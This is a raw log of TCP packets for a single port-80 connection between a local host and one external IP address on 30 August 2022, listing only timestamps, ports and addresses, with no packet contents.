Aug 30, 2022 15:55:08.187824011 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187843084 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.187863111 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187903881 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187944889 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.187953949 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.187994003 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.193346024 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.193408966 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.193451881 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.193491936 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.193495035 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.193532944 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.193545103 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.193576097 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.193615913 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.193656921 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.193686962 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.193697929 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.193706989 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.199630022 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.199692011 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.199729919 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.199733019 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.199774027 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.199803114 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.199815989 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.199856997 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.199873924 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.199898005 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.199938059 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.199976921 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.199990034 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.200017929 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.200027943 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.200057983 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.200118065 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.204410076 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.204513073 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.204552889 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.204598904 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.204621077 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.205364943 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.205418110 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.205456972 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.205478907 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.205490112 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.205540895 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.205595970 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.205648899 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.205708027 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.205719948 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.205735922 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.208877087 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.208949089 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.208951950 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.267307043 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.271644115 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.271687031 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.271773100 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.310883999 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.359675884 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.359728098 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.359770060 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.359785080 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.359846115 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.359890938 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.359966040 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.360008955 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.360068083 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.360110044 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.360125065 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.360132933 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.360184908 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.360244036 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.360259056 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.360306025 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.364437103 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.365643978 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.365694046 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.365748882 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.365802050 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.365823984 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.365864038 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.365864992 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.365927935 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.365979910 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.366029978 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.366038084 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.366086960 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.366099119 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.371741056 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.371800900 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.371857882 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.371877909 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.371912003 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.371917963 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.371975899 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.372029066 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.372081995 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.372101068 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.372133970 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.372142076 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.372201920 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.372240067 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.372262001 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.372314930 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.372322083 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.372376919 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.377351999 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377409935 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377465010 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377501011 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.377525091 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377583027 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.377587080 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377645016 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377698898 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377753019 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377758980 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.377810955 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377810955 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.377871990 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377924919 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.377966881 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.381572008 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.381625891 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.381644011 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.381684065 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.383263111 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.438951015 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.444705009 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.444726944 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.444744110 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.444761038 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.444797993 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.444844961 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.532695055 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.532768965 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.532809973 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.532819986 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.532850027 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.532856941 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.532888889 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.532928944 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.532933950 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.532974005 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.533035994 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.533041000 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.533087015 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.533135891 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.533144951 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.533309937 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.533370018 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.538252115 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538275003 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538297892 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538317919 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538341045 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538362026 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538366079 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.538384914 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538400888 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.538408995 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538415909 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.538433075 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538454056 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538460016 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.538479090 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.538501978 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.543876886 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.543905020 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.543935061 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.543961048 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.543965101 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.543994904 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.544007063 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.544028997 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.544054031 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.544059992 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.544090033 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.544104099 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.544121981 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.544158936 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.544167995 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.544189930 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.544308901 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.549921036 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.549946070 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.549968004 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.549983978 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.550043106 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.550090075 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.550142050 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.550172091 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.550229073 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.550263882 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.550340891 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.550432920 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.550451040 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.550479889 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.550508022 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.550535917 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.550543070 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.550632000 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.554696083 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.554755926 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.554799080 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.554842949 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.554860115 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.554886103 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.554896116 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.554929018 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.554970026 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.554970980 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.555012941 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.555052996 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.555057049 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.555094957 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.555135012 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.555139065 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.558303118 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558356047 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558381081 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.558398008 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558428049 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558444023 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.558471918 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558512926 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558515072 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.558549881 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558589935 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558599949 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.558629990 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558665037 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558679104 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.558691978 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.558733940 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.562474012 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562520981 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562556982 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562592030 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562592983 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.562625885 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562638998 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.562660933 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562695980 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562705994 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.562728882 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562764883 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562772989 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.562798977 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562832117 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562844038 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.562865019 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.562925100 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.566638947 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566680908 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566715956 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566745043 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566771030 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566802979 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.566806078 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566826105 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.566833019 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566862106 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566889048 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566894054 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.566917896 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566922903 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.566945076 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.566975117 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.570003033 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.570099115 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.615469933 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.615645885 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.615715981 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.615814924 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.615843058 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.615888119 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.686589003 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.686623096 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.686640978 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.686664104 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.686686993 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.686719894 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.686785936 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.706909895 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.706983089 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.707010984 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.707027912 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.707037926 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.707062960 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.707065105 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.707093000 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.707122087 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.707148075 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.707175016 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.707175970 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.707204103 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.707206964 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.707212925 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.707230091 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.707278967 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.710351944 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.710418940 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.710445881 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.710473061 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.710505009 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.710515976 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.710530043 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.710551023 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.710598946 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.710762024 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.710788012 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.710804939 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.710822105 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.710849047 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.710870981 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.710871935 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.715950012 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.715986967 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.716011047 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.716034889 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.716058969 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.716125011 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.716130972 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.716176033 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.716176987 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.716201067 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.716226101 CEST	80	49737	189.143.170.233	192.168.2.5
Aug 30, 2022 15:55:08.716249943 CEST	49737	80	192.168.2.5	189.143.170.233
Aug 30, 2022 15:55:08.716252089 CEST	80	49737	189.143.170.233	192.168.2.5
